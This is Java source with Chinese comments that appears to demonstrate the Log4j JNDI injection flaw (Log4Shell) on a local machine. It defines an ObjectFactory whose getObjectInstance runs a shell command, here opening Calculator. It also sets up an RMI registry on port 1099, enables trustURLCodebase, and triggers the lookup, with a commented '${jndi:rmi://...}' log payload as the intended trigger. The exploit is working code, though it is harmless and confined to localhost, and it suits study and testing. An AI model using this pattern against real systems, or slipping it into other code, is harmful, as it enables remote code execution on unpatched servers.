import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Hashtable;
public class TestCommand implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
InputStream in = new BufferedInputStream(Runtime.getRuntime().exec("open -na Calculator").getInputStream());
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String lineStr;
StringBuilder result = new StringBuilder();
while ((lineStr = reader.readLine()) != null)
result.append(lineStr).append("n");
reader.close();
in.close();
System.out.println(result);
return null;
}
}
测试类
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiTest {
private static final Logger logger = LogManager.getLogger(RmiTest.class);
public static void main(String[] args) throws Exception {
// 设置系统环境变量进行紧急修复
// System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "True");
// 开启监听 1099 端口,注册调用calc触发打开计算器
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("com.jz.demo.rmi.TestCommand",
"com.jz.demo.rmi.TestCommand", null);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
registry.bind("test", refObjWrapper);
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/test");
// 这种方式执行将触发上面的 TestCommand 类执行
// logger.error("执行:{}", "${jndi:rmi://127.0.0.1:1099/test}");
}
}